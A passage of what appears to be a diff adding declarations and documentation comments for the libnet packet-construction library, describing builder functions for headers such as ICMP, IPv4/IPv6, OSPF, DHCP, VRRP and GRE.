u_int16_t dp, u_int16_t len, u_int16_t sum, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds a Cisco Discovery Protocol (CDP) header. Cisco Systems designed CDP + * to aid in the network management of adjacent Cisco devices. The CDP protocol + * specifies data by using a type/length/value (TLV) setup. The first TLV can + * specified by using the functions type, length, and value arguments. To + * specify additional TLVs, the programmer could either use the payload + * interface or libnet_build_data() to construct them. + * @param version CDP version + * @param ttl time to live (time information should be cached by recipient) + * @param sum checksum (0 for libnet to autofill) + * @param type type of data contained in value + * @param len length of value arugment + * @param value the CDP information string + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_cdp(u_int8_t version, u_int8_t ttl, u_int16_t sum, u_int16_t type, +u_int16_t len, u_int8_t *value, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) + * echo request/reply header + * @param type type of ICMP packet (should be ICMP_ECHOREPLY or ICMP_ECHO) + * @param code code of ICMP packet (should be 0) + * @param sum checksum (0 for libnet to autofill) + * @param id identification number + * @param seq packet sequence number + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_echo(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) + * IP netmask request/reply header. + * @param type type of ICMP packet (should be ICMP_MASKREQ or ICMP_MASKREPLY) + * @param code code of ICMP packet (should be 0) + * @param sum checksum (0 for libnet to autofill) + * @param id identification number + * @param seq packet sequence number + * @param mask subnet mask + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_mask(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, u_int32_t mask, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) + * unreachable header. The IP header that caused the error message should be + * built by a previous call to libnet_build_ipv4(). + * @param type type of ICMP packet (should be ICMP_UNREACH) + * @param code code of ICMP packet (should be one of the 16 unreachable codes) + * @param sum checksum (0 for libnet to autofill) + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_unreach(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IP version 4 RFC 792 Internet Message Control Protocol (ICMP) + * redirect header. The IP header that caused the error message should be + * built by a previous call to libnet_build_ipv4(). + * @param type type of ICMP packet (should be ICMP_REDIRECT) + * @param code code of ICMP packet (should be one of the four redirect codes) + * @param sum checksum (0 for libnet to autofill) + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_redirect(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int32_t gateway, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) time + * exceeded header. The IP header that caused the error message should be + * built by a previous call to libnet_build_ipv4(). + * @param type type of ICMP packet (should be ICMP_TIMXCEED) + * @param code code of ICMP packet (ICMP_TIMXCEED_INTRANS / ICMP_TIMXCEED_REASS) + * @param sum checksum (0 for libnet to autofill) + * @param payload optional payload or NULL + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_timeexceed(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IP version 4 RFC 792 Internet Control Message Protocol (ICMP) + * timestamp request/reply header. + * @param type type of ICMP packet (should be ICMP_TSTAMP or ICMP_TSTAMPREPLY) + * @param code code of ICMP packet (should be 0) + * @param sum checksum (0 for libnet to autofill) + * @param id identification number + * @param seq sequence number + * @param otime originate timestamp + * @param rtime receive timestamp + * @param ttime transmit timestamp + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_icmpv4_timestamp(u_int8_t type, u_int8_t code, u_int16_t sum, +u_int16_t id, u_int16_t seq, n_time otime, n_time rtime, n_time ttime, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an RFC 1112 Internet Group Memebership Protocol (IGMP) header. + * @param type packet type + * @param code packet code (should be 0) + * @param sum checksum (0 for libnet to autofill) + * @param ip IPv4 address + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_igmp(u_int8_t type, u_int8_t code, u_int16_t sum, u_int32_t ip, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds a version 4 RFC 791 Internet Protocol (IP) header. + * @param len total length of the IP packet including all subsequent data + * @param tos type of service bits + * @param id IP identification number + * @param frag fragmentation bits and offset + * @param ttl time to live in the network + * @param prot upper layer protocol + * @param sum checksum (0 for libnet to autofill) + * @param src source IPv4 address (little endian) + * @param dst destination IPv4 address (little endian) + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv4(u_int16_t len, u_int8_t tos, u_int16_t id, u_int16_t frag, +u_int8_t ttl, u_int8_t prot, u_int16_t sum, u_int32_t src, u_int32_t dst, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an version 4 Internet Protocol (IP) options header. The function + * expects options to be a valid IP options string of size options_s, no larger + * than 40 bytes (the maximum size of an options string). The function checks + * to make sure that the preceding header is an IPv4 header and that the + * options string would not result in a packet larger than 65,535 bytes + * (IPMAXPACKET). The function counts up the number of 32-bit words in the + * options string and adjusts the IP header length value as necessary. + * @param options byte string of IP options + * @param options_s length of options string + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv4_options(u_int8_t *options, u_int32_t options_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * Autobuilds a version 4 Internet Protocol (IP) header. The function is useful * to build an IP header quickly when you do not need a granular level of + * control. The function takes the same len, prot, and dst arguments as + * libnet_build_ipv4(). The function does not accept a ptag argument, but it + * does return a ptag. In other words, you can use it to build a new IP header + * but not to modify an existing one. + * @param len total length of the IP packet including all subsequent data + * @param prot upper layer protocol + * @param dst destination IPv4 address (little endian) + * @param l pointer to a libnet context + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_ipv4(u_int16_t len, u_int8_t prot, u_int32_t dst, libnet_t *l); + +/** + * Builds a version 6 RFC 2460 Internet Protocol (IP) header. + * @param tc traffic class + * @param fl flow label + * @param len total length of the IP packet + * @param nh next header + * @param hl hop limit + * @param src source IPv6 address + * @param dst destination IPv6 address + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv6(u_int8_t tc, u_int32_t fl, u_int16_t len, u_int8_t nh, +u_int8_t hl, struct libnet_in6_addr src, struct libnet_in6_addr dst, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds a version 6 RFC 2460 Internet Protocol (IP) fragmentation header. + * @param nh next header + * @param reserved unused value... OR IS IT! + * @param frag fragmentation bits (ala ipv4) + * @param id packet identification + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv6_frag(u_int8_t nh, u_int8_t reserved, u_int16_t frag, +u_int32_t id, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * Builds a version 6 RFC 2460 Internet Protocol (IP) routing header. This + * function is special in that it uses the payload interface to include the + * "type-specific data"; that is the routing information. Most often this will + * be a number of 128-bit IPv6 addresses. The application programmer will build + * a byte string of IPv6 address and pass them to the function using the + * payload interface. + * @param nh next header + * @param len length of the header in 8-byte octets not including the first 8 octets + * @rtype routing header type + * @param segments number of routing segments that follow + * @param payload optional payload of routing information + * @param payload_s payload length + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv6_routing(u_int8_t nh, u_int8_t len, u_int8_t rtype, +u_int8_t segments, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * Builds a version 6 RFC 2460 Internet Protocol (IP) destination options + * header. This function is special in that it uses the payload interface to + * include the options data. The application programmer will build an IPv6 + * options byte string and pass it to the function using the payload interface. + * @param nh next header + * @param len length of the header in 8-byte octets not including the first 8 octets + * @param payload options payload + * @param payload_s payload length + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv6_destopts(u_int8_t nh, u_int8_t len, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds a version 6 RFC 2460 Internet Protocol (IP) hop by hop options + * header. This function is special in that it uses the payload interface to + * include the options data. The application programmer will build an IPv6 + * hop by hop options byte string and pass it to the function using the payload + * interface. + * @param nh next header + * @param len length of the header in 8-byte octets not including the first 8 octets + * @param payload options payload + * @param payload_s payload length + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipv6_hbhopts(u_int8_t nh, u_int8_t len, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * This function is not yet implement and is a NONOP. + * @param len length + * @param nh next header + * @param dst destination IPv6 address + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_ipv6(u_int16_t len, u_int8_t nh, struct libnet_in6_addr dst, +libnet_t *l); + +/** + * Builds a Cisco Inter-Switch Link (ISL) header. + * @param dhost destination address (should be 01:00:0c:00:00) + * @param type type of frame + * @param user user defined data + * @param shost source mac address + * @param len total length of the encapuslated packet less 18 bytes + * @param snap SNAP information (0xaaaa03 + vendor code) + * @param vid 15 bit VLAN ID, 1 bit BPDU or CDP indicator + * @param portindex port index + * @param reserved used for FDDI and token ring + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_isl(u_int8_t *dhost, u_int8_t type, u_int8_t user, +u_int8_t *shost, u_int16_t len, u_int8_t *snap, u_int16_t vid, +u_int16_t portindex, u_int16_t reserved, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an Internet Protocol Security Encapsulating Security Payload header. + * @param spi security parameter index + * @param seq ESP sequence number + * @param iv initialization vector + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipsec_esp_hdr(u_int32_t spi, u_int32_t seq, u_int32_t iv, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an Internet Protocol Security Encapsulating Security Payload footer. + * @param len padding length + * @param nh next header + * @param auth authentication data + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipsec_esp_ftr(u_int8_t len, u_int8_t nh, int8_t *auth, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an Internet Protocol Security Authentication header. + * @param nh next header + * @param len payload length + * @param res reserved + * @param spi security parameter index + * @param seq sequence number + * @param auth authentication data + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ipsec_ah(u_int8_t nh, u_int8_t len, u_int16_t res, +u_int32_t spi, u_int32_t seq, u_int32_t auth, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an RFC 1035 version 4 DNS header. Additional DNS payload information + * should be specified using the payload interface. + * @param id DNS packet id + * @param flags control flags + * @param num_q number of questions + * @param num_anws_rr number of answer resource records + * @param num_auth_rr number of authority resource records + * @param num_addi_rr number of additional resource records + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_dnsv4(u_int16_t h_len, u_int16_t id, u_int16_t flags, +u_int16_t num_q, u_int16_t num_anws_rr, u_int16_t num_auth_rr, +u_int16_t num_addi_rr, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * Builds a Routing Information Protocol header (RFCs 1058 and 2453). + * @param cmd command + * @param version protocol version + * @param rd version one: 0, version two: routing domain + * @param af address family + * @param rt version one: 0, version two: route tag + * @param addr IPv4 address + * @param mask version one: 0, version two: subnet mask + * @param next_hop version one: 0, version two: next hop address + * @param metric routing metric + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_rip(u_int8_t cmd, u_int8_t version, u_int16_t rd, u_int16_t af, +u_int16_t rt, u_int32_t addr, u_int32_t mask, u_int32_t next_hop, +u_int32_t metric, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * Builds an Remote Procedure Call (Version 2) Call message header as + * specified in RFC 1831. This builder provides the option for + * specifying the record marking which is required when used with + * streaming protocols (TCP). + * @param rm record marking indicating the position in a stream, 0 otherwise + * @param xid transaction identifier used to link calls and replies + * @param prog_num remote program specification typically between 0 - 1fffffff + * @param prog_vers remote program version specification + * @param procedure procedure to be performed by remote program + * @param cflavor authentication credential type + * @param clength credential length (should be 0) + * @param cdata opaque credential data (currently unused) + * @param vflavor authentication verifier type + * @param vlength verifier length (should be 0) + * @param vdata opaque verifier data (currently unused) + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_rpc_call(u_int32_t rm, u_int32_t xid, u_int32_t prog_num, +u_int32_t prog_vers, u_int32_t procedure, u_int32_t cflavor, u_int32_t clength, +u_int8_t *cdata, u_int32_t vflavor, u_int32_t vlength, u_int8_t *vdata, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IEEE 802.1d Spanning Tree Protocol (STP) configuration header. + * STP frames are usually encapsulated inside of an 802.2 + 802.3 frame + * combination. + * @param id protocol id + * @param version protocol version + * @param bpdu_type bridge protocol data unit type + * @param flags flags + * @param root_id root id + * @param root_pc root path cost + * @param bridge_id bridge id + * @param port_id port id + * @param message_age message age + * @param max_age max age + * @param hello_time hello time + * @param f_delay forward delay + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_stp_conf(u_int16_t id, u_int8_t version, u_int8_t bpdu_type, +u_int8_t flags, u_int8_t *root_id, u_int32_t root_pc, u_int8_t *bridge_id, +u_int16_t port_id, u_int16_t message_age, u_int16_t max_age, +u_int16_t hello_time, u_int16_t f_delay, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds an IEEE 802.1d Spanning Tree Protocol (STP) topology change + * notification header. STP frames are usually encapsulated inside of an + * 802.2 + 802.3 frame combination. + * @param id protocol id + * @param version protocol version + * @param bpdu_type bridge protocol data unit type + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_stp_tcn(u_int16_t id, u_int8_t version, u_int8_t bpdu_type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Builds a token ring header. + * @param ac access control + * @param fc frame control + * @param dst destination address + * @param src source address + * @param dsap destination service access point + * @param ssap source service access point + * @param cf control field + * @param oui Organizationally Unique Identifier + * @param type upper layer protocol type + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst, u_int8_t *src, +u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *oui, u_int16_t type, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Auto-builds a token ring header. + * @param ac access control + * @param fc frame control + * @param dst destination address + * @param dsap destination service access point + * @param ssap source service access point + * @param cf control field + * @param oui Organizationally Unique Identifier + * @param type upper layer protocol type + * @param l pointer to a libnet context + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_autobuild_token_ring(u_int8_t ac, u_int8_t fc, u_int8_t *dst, +u_int8_t dsap, u_int8_t ssap, u_int8_t cf, u_int8_t *oui, u_int16_t type, +libnet_t *l); + +/** + * Builds an RFC 2338 Virtual Router Redundacy Protool (VRRP) header. Use the + * payload interface to specify address and autthentication information. To + * build a "legal" packet, the destination IPv4 address should be the multicast * address 224.0.0.18, the IP TTL should be set to 255, and the IP protocol + * should be set to 112. + * @param version VRRP version (should be 2) + * @param type VRRP packet type (should be 1 -- ADVERTISEMENT) + * @param vrouter_id virtual router identification + * @param priority priority (higher numbers indicate higher priority) + * @param ip_count number of IPv4 addresses contained in this advertisement + * @param auth_type type of authentication (0, 1, 2 -- see RFC) + * @param advert_int interval between advertisements + * @param sum checksum (0 for libnet to autofill) + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_vrrp(u_int8_t version, u_int8_t type, u_int8_t vrouter_id, +u_int8_t priority, u_int8_t ip_count, u_int8_t auth_type, u_int8_t advert_int, +u_int16_t sum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * Builds an RFC 3032 Multi-Protocol Label Switching (MPLS) header. + * @param label 20-bit label value + * @param experimental 3-bit reserved field + * @param bos 1-bit bottom of stack identifier + * @param ttl time to live + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_mpls(u_int32_t label, u_int8_t experimental, u_int8_t bos, +u_int8_t ttl, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * Builds an RFC 958 Network Time Protocol (NTP) header. + * @param leap_indicator the leap indicator + * @param version NTP protocol version + * @param mode NTP mode + * @param stratum stratum + * @param poll polling interval + * @param precision precision + * @param delay_interval delay interval + * @param delay_frac delay fraction + * @param dispersion_int dispersion interval + * @param dispersion_frac dispersion fraction + * @param reference_id reference id + * @param ref_ts_int reference timestamp integer + * @param ref_ts_frac reference timestamp fraction + * @param orig_ts_int original timestamp integer + * @param orig_ts_frac original timestamp fraction + * @param rec_ts_int receiver timestamp integer + * @param rec_ts_frac reciever timestamp fraction + * @param xmt_ts_int transmit timestamp integer + * @param xmt_ts_frac transmit timestamp integer + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ntp(u_int8_t leap_indicator, u_int8_t version, u_int8_t mode, +u_int8_t stratum, u_int8_t poll, u_int8_t precision, u_int16_t delay_int, +u_int16_t delay_frac, u_int16_t dispersion_int, u_int16_t dispersion_frac, +u_int32_t reference_id, u_int32_t ref_ts_int, u_int32_t ref_ts_frac, +u_int32_t orig_ts_int, u_int32_t orig_ts_frac, u_int32_t rec_ts_int, +u_int32_t rec_ts_frac, u_int32_t xmt_ts_int, u_int32_t xmt_ts_frac, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2(u_int16_t len, u_int8_t type, u_int32_t rtr_id, +u_int32_t area_id, u_int16_t sum, u_int16_t autype, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_hello(u_int32_t netmask, u_int16_t interval, u_int8_t opts, +u_int8_t priority, u_int dead_int, u_int32_t des_rtr, u_int32_t bkup_rtr, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_dbd(u_int16_t dgram_len, u_int8_t opts, u_int8_t type, +u_int seqnum, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsr(u_int type, u_int lsid, u_int32_t advrtr, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsu(u_int num, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsa(u_int16_t age, u_int8_t opts, u_int8_t type, +u_int lsid, u_int32_t advrtr, u_int seqnum, u_int16_t sum, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsa_rtr(u_int16_t flags, u_int16_t num, u_int id, +u_int data, u_int8_t type, u_int8_t tos, u_int16_t metric, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsa_net(u_int32_t nmask, u_int rtrid, u_int8_t *payload, +u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsa_sum(u_int32_t nmask, u_int metric, u_int tos, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_ospfv2_lsa_as(u_int32_t nmask, u_int metric, u_int32_t fwdaddr, +u_int tag, u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * Builds a generic libnet protocol header. This is useful for including an + * optional payload to a packet that might need to change repeatedly inside + * of a loop. + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_data(u_int8_t *payload, u_int32_t payload_s, libnet_t *l, +libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_dhcpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen, +u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, +u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr, +u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_bootpv4(u_int8_t opcode, u_int8_t htype, u_int8_t hlen, +u_int8_t hopcount, u_int32_t xid, u_int16_t secs, u_int16_t flags, +u_int32_t cip, u_int32_t yip, u_int32_t sip, u_int32_t gip, u_int8_t *chaddr, +u_int8_t *sname, u_int8_t *file, u_int8_t *payload, u_int32_t payload_s, +libnet_t *l, libnet_ptag_t ptag); + +/** + * @param payload optional payload or NULL + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +u_int32_t +libnet_getgre_length(u_int16_t fv); + +/** + * Generic Routing Encapsulation (GRE - RFC 1701) is used to encapsulate any + * protocol. Hence, the IP part of the packet is usually referred as "delivery + * header". It is then followed by the GRE header and finally the encapsulated + * packet (IP or whatever). + * As GRE is very modular, the first GRE header describes the structure of the + * header, using bits and flag to specify which fields will be present in the + * header. + * @param fv the 16 0 to 7: which fields are included in the header (checksum, seq. number, key, ...), bits 8 to 12: flag, bits 13 to 15: version. + * @param payload optional payload or NULL + * @param type which protocol is encapsulated (PPP, IP, ...) + * @param sum checksum (0 for libnet to autofill). + * @param offset byte offset from the start of the routing field to the first byte of the SRE + * @param key inserted by the encapsulator to authenticate the source + * @param seq sequence number used by the receiver to sort the packets + * @param len size of the GRE packet + * @param payload_s payload length or 0 + * @param l pointer to a libnet context + * @param ptag protocol tag to modify an existing header, 0 to build a new one + * @return protocol tag value on success, -1 on error + */ +libnet_ptag_t +libnet_build_gre(u_int16_t fv, u_int16_t type, u_int16_t sum, +u_int16_t offset, u_int32_t key, u_int32_t seq, u_int16_t len, +u_int8_t *payload, u_int32_t payload_s, libnet_t *l, libnet_ptag_t ptag); + +/** + * Generic Routing Encapsulation (GRE - RFC 1701) is used to encapsulate any + * protocol. Hence, 